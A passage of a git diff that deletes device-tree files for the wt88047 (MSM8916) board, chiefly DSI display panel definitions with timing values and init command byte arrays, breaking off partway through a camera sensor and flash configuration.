qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <7>; - qcom,mdss-dsi-v-front-porch = <7>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = "rgb_swap_rgb"; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [29 01 00 00 00 00 04 ff 12 85 01 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 03 ff 12 85 - 29 01 00 00 00 00 02 00 A2 - 29 01 00 00 00 00 02 C1 00 - 29 01 00 00 00 00 02 00 91 - 29 01 00 00 00 00 03 B3 08 10 - 29 01 00 00 00 00 02 00 B3 - 29 01 00 00 00 00 02 C0 33 - 29 01 00 00 00 00 02 00 B4 - 29 01 00 00 00 00 02 C0 50 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 02 C1 19 - 29 01 00 00 00 00 02 00 81 - 29 01 00 00 00 00 02 C1 19 - 29 01 00 00 00 00 02 00 82 - 29 01 00 00 00 00 02 C1 19 - 29 01 00 00 00 00 02 00 83 - 29 01 00 00 00 00 02 C1 19 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 03 C1 66 00 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0A C0 00 96 00 08 08 00 96 08 08 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 09 C2 82 00 0A 00 83 00 0A 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 10 C2 00 08 03 0A 00 01 08 03 0A 00 02 08 03 0A 00 - 29 01 00 00 00 00 02 00 A0 - 29 01 00 00 00 00 10 C2 03 08 03 0A 00 04 08 03 0A 00 05 08 03 0A 00 - 29 01 00 00 00 00 02 00 B0 - 29 01 00 00 00 00 0B C2 82 08 03 0A 00 81 08 03 0A 00 - 29 01 00 00 00 00 02 00 EA - 29 01 00 00 00 00 04 C2 88 08 33 - 29 01 00 00 00 00 02 00 FA - 29 01 00 00 0A 00 04 C2 00 0C 00 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 02 C4 88 - 29 01 00 00 00 00 02 00 83 - 29 01 00 00 00 00 02 C4 20 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 08 CB 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 10 CB 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 A0 - 29 01 00 00 00 00 0D CB 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 C0 - 29 01 00 00 0A 00 10 CB 01 01 01 01 01 01 01 01 01 01 00 00 00 00 00 - 29 01 00 00 00 00 02 00 D0 - 29 01 00 00 0A 00 0D CB 00 00 00 00 00 00 01 01 01 00 00 00 - 29 01 00 00 00 00 02 00 F0 - 29 01 00 00 0A 00 0D CB 00 00 F0 03 30 30 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 0A 00 0B CC 01 03 04 05 06 07 08 09 0A 02 - 29 01 00 00 00 00 02 00 B0 - 29 01 00 00 0A 00 0B CC 02 0A 09 08 07 06 05 04 03 01 - 29 01 00 00 00 00 02 00 D0 - 29 01 00 00 00 00 10 CD 01 09 07 05 03 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D - 29 01 00 00 00 00 02 00 B0 - 29 01 00 00 00 00 10 CD 2D 2D 2D 2D 2D 2D 16 17 18 2D 2D 2D 2D 2D 2D - 29 01 00 00 00 00 02 00 C0 - 29 01 00 00 00 00 0B CD 2D 2D 2D 27 28 29 2A 2B 1D 2D - 29 01 00 00 00 00 02 00 A0 - 29 01 00 00 00 00 10 CD 0A 08 06 04 02 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D - 29 01 00 00 00 00 02 00 E0 - 29 01 00 00 00 00 10 CD 2D 2D 2D 2D 2D 2D 16 17 18 2D 2D 2D 2D 2D 2D - 29 01 00 00 00 00 02 00 F0 - 29 01 00 00 00 00 0B CD 2D 2D 2D 27 28 29 2A 2B 1D 2D - 29 01 00 00 00 00 02 00 e0 - 29 01 00 00 00 00 05 CC 00 FC 1F 07 - 29 01 00 00 00 00 02 00 A0 - 29 01 00 00 00 00 0D C0 00 01 15 04 00 15 04 00 00 ff ff 00 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 10 CD 0b 0b 0b 0b 0b 0b 0b 0b 0b 14 13 12 0b 0b 0b - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 D9 82 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 03 D8 34 34 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 19 E1 0E 17 27 36 3F 49 55 67 70 81 8B 91 6B 67 61 4F 3E 1F 28 23 1C 17 16 0D - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 19 E2 02 07 15 22 2B 35 41 54 60 75 81 8D 69 5D 53 43 30 2D 1A 15 0E 09 06 0B - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 19 E3 0E 17 27 36 3F 49 55 67 70 81 8B 91 6B 67 61 4F 3E 1F 28 23 1C 17 16 0D - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 19 E4 02 07 15 22 2B 35 41 54 60 75 81 8D 69 5D 53 43 30 2D 1A 15 0E 09 06 0B - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 19 E5 0E 17 27 36 3F 49 55 67 70 81 8B 91 6B 67 61 4F 3E 1F 28 23 1C 17 16 0D - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 19 E6 02 07 15 22 2B 35 41 54 60 75 81 8D 69 5D 53 43 30 2D 1A 15 0E 09 06 0B - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 59 03 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 0D CA CC FF A6 FF 80 FF 05 03 05 03 05 03 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 10 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 13 C7 90 89 89 88 88 99 88 88 88 88 88 88 87 88 87 87 88 77 - 29 01 00 00 00 00 02 51 FF - 29 01 00 00 00 00 02 53 2C - 29 01 00 00 00 00 02 55 01 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 10 - 29 01 00 00 00 00 02 00 92 - 29 01 00 00 00 00 05 C5 C0 17 C0 1B - 29 01 00 00 00 00 02 00 97 - 29 01 00 00 00 00 02 C5 16 - 29 01 00 00 00 00 02 00 99 - 29 01 00 00 00 00 02 C5 1A - 29 01 00 00 00 00 02 00 A2 - 29 01 00 00 00 00 05 C5 C0 17 C0 1B - 29 01 00 00 00 00 02 00 A7 - 29 01 00 00 00 00 02 C5 16 - 29 01 00 00 00 00 02 00 A9 - 29 01 00 00 00 00 02 C5 1A - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 78 00 01 11 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 01 29]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 - 05 01 00 00 78 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <10>; - qcom,mdss-dsi-traffic-mode = "non_burst_sync_event"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [8b 1e 14 00 44 48 18 22 19 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x04>; - qcom,mdss-dsi-t-clk-pre = <0x1c>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 5>, <1 10>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi deleted file mode 100644 index fcc0abc808b7d..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi +++ /dev/null @@ -1,72 +0,0 @@ -/* Copyright (c) 2016, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_otm1285a_otp_720p_video: qcom,mdss_dsi_otm1285a_otp_720p_video { - qcom,mdss-dsi-panel-name = "otm1285a_otp_720p_video_EBBG"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <59>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <58>; - qcom,mdss-pan-physical-height-dimension = <103>; - qcom,mdss-dsi-h-front-porch = <28>; - qcom,mdss-dsi-h-back-porch = <28>; - qcom,mdss-dsi-h-pulse-width = <2>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <30>; - qcom,mdss-dsi-v-front-porch = <30>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = "rgb_swap_rgb"; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 04 FF 12 85 01 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 03 FF 12 85 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 78 00 01 11 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 0A 00 01 29]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 - 05 01 00 00 78 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <10>; - qcom,mdss-dsi-traffic-mode = "non_burst_sync_event"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [8b 1e 14 00 44 48 18 22 19 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x04>; - qcom,mdss-dsi-t-clk-pre = <0x1c>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 5>, <1 10>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi deleted file mode 100644 index 93f58696a0fca..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi +++ /dev/null @@ -1,84 +0,0 @@ -/* Copyright (c) 2016, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_r61308_720p_video: qcom,mdss_dsi_r61308_720p_video { - qcom,mdss-dsi-panel-name = "r61308_HD720p_video_AUO3.5"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <58>; - qcom,mdss-pan-physical-height-dimension = <103>; - qcom,mdss-dsi-h-front-porch = <120>; - qcom,mdss-dsi-h-back-porch = <50>; - qcom,mdss-dsi-h-pulse-width = <2>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <14>; - qcom,mdss-dsi-v-front-porch = <6>; - qcom,mdss-dsi-v-pulse-width = <1>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = "rgb_swap_rgb"; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 - 39 01 00 00 00 00 02 36 00 - 39 01 00 00 00 00 02 3A 07 - 29 01 00 00 00 00 02 B0 04 - 29 01 00 00 00 00 08 C1 50 02 22 00 00 ED 11 - 29 01 00 00 00 00 19 C8 1A 24 29 2D 32 37 14 13 10 0C 0A 06 1A 24 28 2D 32 37 14 13 10 0C 0A 06 - 29 01 00 00 00 00 09 CB 10 20 40 80 A0 C0 D0 E0 - 29 01 00 00 00 00 04 CC C8 D8 FF - 29 01 00 00 00 00 08 CD 1C 1E 1E 1D 1C 1E 1E - 29 01 00 00 00 00 08 CE 1E 1E 1E 1D 1D 1E 1E - 29 01 00 00 00 00 08 CF 1E 1F 20 20 20 20 21 - 29 01 00 00 00 00 02 B0 03 - 05 01 00 00 0A 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 - 05 01 00 00 78 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [9B 22 18 00 4A 4C 1C 26 1D 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x04>; - qcom,mdss-dsi-t-clk-pre = <0x1F>; - qcom,mdss-dsi-tx-eot-append; - qcom,mdss-dsi-panel-status-check-mode = "reg_read"; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0A 08]; - qcom,mdss-dsi-panel-status-value = <1 0x1C>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; - qcom,mdss-dsi-lp11-init; - qcom,mdss-dsi-init-delay-us = <50000>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi deleted file mode 100644 index 8ab10e76b6ca1..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi +++ /dev/null @@ -1,84 +0,0 @@ -/* Copyright (c) 2016, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_r61308_s88047a1_720p_video: qcom,mdss_dsi_r61308_s88047a1_720p_video { - qcom,mdss-dsi-panel-name = "r61308_HD720p_video_AUO3.5"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <62>; - qcom,mdss-pan-physical-height-dimension = <114>; - qcom,mdss-dsi-h-front-porch = <134>; - qcom,mdss-dsi-h-back-porch = <130>; - qcom,mdss-dsi-h-pulse-width = <2>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <14>; - qcom,mdss-dsi-v-front-porch = <6>; - qcom,mdss-dsi-v-pulse-width = <1>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = "rgb_swap_rgb"; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 - 39 01 00 00 00 00 02 36 00 - 39 01 00 00 00 00 02 3A 07 - 29 01 00 00 00 00 02 B0 04 - 29 01 00 00 00 00 08 C1 50 02 22 00 00 ED 11 - 29 01 00 00 00 00 19 C8 1A 24 29 2D 32 37 14 13 10 0C 0A 06 1A 24 28 2D 32 37 14 13 10 0C 0A 06 - 29 01 00 00 00 00 09 CB 10 20 40 80 A0 C0 D0 E0 - 29 01 00 00 00 00 04 CC C8 D8 FF - 29 01 00 00 00 00 08 CD 1C 1E 1E 1D 1C 1E 1E - 29 01 00 00 00 00 08 CE 1E 1E 1E 1D 1D 1E 1E - 29 01 00 00 00 00 08 CF 1E 1F 20 20 20 20 21 - 29 01 00 00 00 00 02 B0 03 - 05 01 00 00 0A 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 - 05 01 00 00 78 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [A8 26 1A 00 50 54 1E 2A 1E 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x03>; - qcom,mdss-dsi-t-clk-pre = <0x21>; - qcom,mdss-dsi-tx-eot-append; - qcom,mdss-dsi-panel-status-check-mode = "reg_read"; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0A 08]; - qcom,mdss-dsi-panel-status-value = <1 0x1C>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; - qcom,mdss-dsi-lp11-init; - qcom,mdss-dsi-init-delay-us = <50000>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi deleted file mode 100644 index a0e5a6c8af15d..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi +++ /dev/null @@ -1,71 +0,0 @@ -/* Copyright (c) 2016, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_r69431_720p_video: qcom,mdss_dsi_r69431_720p_video { - qcom,mdss-dsi-panel-name = "r69431_HD720p_video_sharp"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <58>; - qcom,mdss-pan-physical-height-dimension = <103>; - qcom,mdss-dsi-h-front-porch = <120>; - qcom,mdss-dsi-h-back-porch = <20>; - qcom,mdss-dsi-h-pulse-width = <10>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <11>; - qcom,mdss-dsi-v-front-porch = <13>; - qcom,mdss-dsi-v-pulse-width = <1>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = "rgb_swap_rgb"; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 B0 00 - 29 01 00 00 00 00 02 D6 01 - 29 01 00 00 00 00 02 B3 1C - 29 01 00 00 00 00 02 B0 03 - 05 01 00 00 00 00 02 29 00 - 05 01 00 00 78 00 02 11 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 14 00 02 28 00 - 05 01 00 00 DC 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <10>; - qcom,mdss-dsi-traffic-mode = "non_burst_sync_pulse"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [98 22 16 00 4a 4c 1a 26 1a 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x04>; - qcom,mdss-dsi-t-clk-pre = <0x1e>; - qcom,mdss-dsi-init-last; - qcom,mdss-dsi-bl-min-level = <10>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 5>, <1 10>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi deleted file mode 100644 index bf79e270b1a5e..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi +++ /dev/null @@ -1,211 +0,0 @@ -/* - * Copyright (c) 2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&tlmm_pinmux { - ocp8110_pins { - qcom,pins = <&gp 31>, <&gp 32>; - qcom,num-grp-pins = <2>; - qcom,pin-func = <0>; - label = "ocp8110_pins"; - ocp8110_default: en_default { - drive-strength = <2>; - bias-pull-down; - }; - }; -}; - -&soc { - flash_ocp8110:flashlight { - compatible = "qcom,leds-gpio-flash"; - status = "okay"; - pinctrl-names = "flash_default"; - pinctrl-0 = <&ocp8110_default>; - qcom,flash-en = <&msm_gpio 31 0>; - qcom,flash-now = <&msm_gpio 32 0>; - qcom,op-seq = "flash_en", "flash_now"; - qcom,torch-seq-val = <1 0>; - qcom,flash-seq-val = <1 1>; - linux,name = "flashlight"; - linux,default-trigger = "flashlight-trigger"; - }; - - led_flash0: qcom,camera-led-flash { - cell-index = <0>; - compatible = "qcom,camera-led-flash"; - qcom,flash-type = <3>; - qcom,flash-source = <&flash_ocp8110>; - qcom,torch-source = <&flash_ocp8110>; - }; -}; - -&cci { - actuator0: qcom,actuator@6e { - cell-index = <3>; - reg = <0x6c>; - compatible = "qcom,actuator"; - qcom,cci-master = <0>; - }; - - eeprom0: qcom,eeprom@6c { - cell-index = <3>; - reg = <0x6c>; - qcom,eeprom-name = "sunny_q8v18a"; - compatible = "qcom,eeprom"; - qcom,slave-addr = <0x20>; - qcom,cci-master = <0>; - qcom,num-blocks = <4>; - qcom,page0 = <1 0x100 2 0x1 1 1>; - qcom,poll0 = <0 0x0 2 0 1 1>; - qcom,mem0 = <0 0x0 2 0 1 0>; - qcom,page1 = <1 0x3d84 2 0xc0 1 1>; - qcom,poll1 = <0 0x0 2 0 1 1>; - qcom,mem1 = <0 0x3d00 2 0 1 0>; - qcom,page2 = <1 0x3d88 2 0x7010 2 1>; - qcom,poll2 = <0 0x0 2 0 1 1>; - qcom,mem2 = <0 0x3d00 2 0 1 0>; - qcom,page3 = <1 0x3d8a 2 0x70f4 2 1>; - qcom,pageen3 = <1 0x3d81 2 0x1 1 10>; - qcom,poll3 = <0 0x0 2 0 1 1>; - qcom,mem3 = <228 0x7010 2 0 1 1>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - cam_vana-supply = <&pm8916_l17>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; - qcom,cam-vreg-type = <0 0 0 0>; - qcom,cam-vreg-min-voltage = <1200000 1800000 2850000 2800000>; - qcom,cam-vreg-max-voltage = <1200000 1800000 2850000 2800000>; - qcom,cam-vreg-op-mode = <200000 200000 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-req-tbl-num = <0 1 2 >; - qcom,gpio-req-tbl-flags = <1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET1", - "CAM_STANDBY"; - qcom,cam-power-seq-type = "sensor_vreg", - "sensor_vreg", - "sensor_vreg", - "sensor_vreg", - "sensor_gpio", - "sensor_gpio", - "sensor_gpio", - "sensor_gpio", - "sensor_clk"; - qcom,cam-power-seq-val = "cam_vio", - "cam_vana", - "cam_vdig", - "cam_vaf", - "sensor_gpio_standby", - "sensor_gpio_reset", - 